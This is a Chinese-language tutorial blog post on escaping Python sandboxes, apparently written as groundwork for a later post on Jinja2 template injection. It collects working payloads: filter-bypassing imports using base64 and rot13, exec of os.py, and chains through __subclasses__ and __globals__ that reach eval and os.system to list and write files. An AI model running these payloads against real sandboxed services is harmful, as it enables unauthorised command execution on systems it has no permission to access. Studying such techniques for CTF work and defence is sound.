Python沙箱逃逸与模板注入(SSTI)(一)
最近恰巧同时研究了一下python沙箱逃逸和jinja2模板注入,而且模板注入使用了很多沙箱逃逸的方法,所以将python的沙箱逃逸和服务端模板注入放在一起总结。 网上的python沙箱逃逸都是关注于Python2,介于与3的不同我把所有payload都在3中实验了一遍,把部分修改成可用,不能使用的删去。
python沙箱逃逸
基础知识
沙箱:沙箱是一种按照安全策略限制程序行为的执行环境。 沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。 简而言之就是绕过限制拿到shell。而在python环境下绕过限制当然还是要对python的各种系统函数内建函数熟悉啦,所以下面我们总结一下有用的python知识。
python知识扩展
shell执行相关
//执行shell的模块
import os, commands, platfrom, subprocess
//执行shell的函数
os.system('ls')
os.popen('ls').read()
platform.popen('ls').read()
status,output = commands.getstatusoutput('ls')
subprocess.call(['ifconfig'],shell=True)
当然,这些模块都是需要import导入的,如果限制了导入那也百搭。
import导入相关
-
import
-
__import__
函数 -
importlib
-
builtin内建函数
import
#py2.7
f = __import__('os')
f = __import__("b3M=".decode('base64'))//绕过限制'os'字符串
f.system('ls')
#py3.5
import codecs
f = __import__(str(codecs.decode(b'b3M=','base64'),'utf-8'))
f.system('ls')
importlib
#py2.7
import importlib
f = importlib.import_module('commands'))
f.getoutput('ls')
#py3.5importlib用法同2.7
builtin
我们dir(__builtins__)
看一下有哪些内建函数可以使用
[图片]
还是很多的,当然也包括了eval,exec,execfile等危险函数。当然,很多沙箱会直接del __builtins__.eval
这样的操作会将eval函数从内建函数删除,我们就无法直接使用eval函数了。但是1我们可以通过内建函数reload()重置builtin内建函数
#py2.7
reload(__builtins__)
#py3.5,py2.7
import imp
imp.reload(__builtins__)
如果它把reload也删了就用不了啦。
python重要的魔法函数和属性
名称 | 介绍 |
---|---|
__dict__ |
这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性 |
__class__ |
返回一个实例对应的类型 |
__base__ |
返回一个类所继承的基类 |
__subclasses__() |
返回该类的所有子类 |
__mro__ |
python支持多重继承,在解析__init__ 时,定义解析顺序的是子类的__mro__ 属性(值是类的元组) |
__slots__ |
限制类动态添加属性 |
__getattribute__() |
获取属性或方法,对模块和类都有效 |
__getitem__() |
以索引取值或者键取值 |
__globals__ |
返回函数所在模块命名空间中的所有变量 |
沙箱逃逸绕过
看了上面这么多,我们应该可以理解,沙箱逃逸就是用奇淫技巧来执行一些函数,接下来我们看看在限制下可以怎么bypass。
直接import模块
如果能直接import或者按按上面的方式import危险模块,比如os或者commands,那就应该感谢上帝了。但现在这样的情况不多了。
使用exec、execfile
&emps;我们现在已知它们是内建函数中的两个函数,假如沙箱限制了所有import的方法,不过我们可以用这两个函数直接运行/usr/lib/python2.7/os.py
里的代码,那么我们就可以直接使用system函数了。
#py2.7
execfile('/usr/lib/python2.7/os.py')
exec open('/usr/lib/python2.7/os.py').read()
#py3.5
exec(compile(open('/usr/lib/python3.5/os.py').read(),'/usr/lib/python3.5/os.py','exec'))
键值被过滤&关键字或函数名被过滤
假如是限制了关键字怎么办?(比如不让输入system,popen等函数名或者字典的键值被过滤)
#time这个键值被过滤
s = "emit"
s = s [::-1]
#函数名被过滤
#py2.7
os.__getattribute__('sys'+'tem')('ls')//利用魔法函数
f = getattr(os,'flfgrz'.encode('rot13'))//利用字符串转换
os.__dict__['flfgrz'.encode('rot13')]
#py3.5
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
os.__dict__[codecs.encode("flfgrz",'rot13')]
[
被过滤
使用__getitem__
获取列表或者元祖的值
l = [1,2,3,4]
l[1]
l.__getitem__(1)
l.pop(1)
使用timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
魔法函数
我们可以通过魔法函数回溯继承类再从子类中找到能用的函数。
py2.7
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__bases__[0]
<type 'object'>
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
<built-in function eval>
这样我们就找到eval函数了,按照同样的方法,我们还可以找到很多种payload
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('ls')
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
__globals__
其他魔法函数和内置属性在上面的表格中有列出它的作用,在这里重点理解一下__globals__
会返回函数所在模块命名空间中的所有变量的键值对表示。
此时,我们找到一个函数看看他的__globals__
是啥。
# __init__肯定是个函数,我们就用这个试试
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>
# 我们看看它有哪些键值
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
# 哈 发现了__builtins__,再看看有啥内建函数
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__'].keys()
['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', '_', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']
# 在里面,我们发现了久违的eval,file等函数
按照上面的推导,我们总能从__globals__
中找到我们想要的函数。
如果能使用__globals__
,就使我们的沙箱逃逸方法变得简单多了,我们只要遍寻到一个类(实测只有部分类的函数有这个属性,不过概率很大),然后取它一个内置函数的__globals__
就能找到__builtins__
了。
总结
python沙箱逃逸重点就得熟悉python,全文最难就在于如何从庞大的继承树中找到自己需要的危险函数,懂得原理我们就可以一步一步的推导,虽然不同系统不同环境我们所取的下标可能不同,但是多试试总能找到的。 这篇博客主要总结了python沙箱逃逸问题,下一篇总结一下SSTI。
参考
https://blog.csdn.net/qq_27446553/article/details/79379136 https://blog.csdn.net/wy_97/article/details/80393854 https://xz.aliyun.com/t/52#toc-11 https://www.jianshu.com/p/183581381c4f https://blog.csdn.net/qq_35078631/article/details/78504415 https://blog.csdn.net/JBlock/article/details/82938656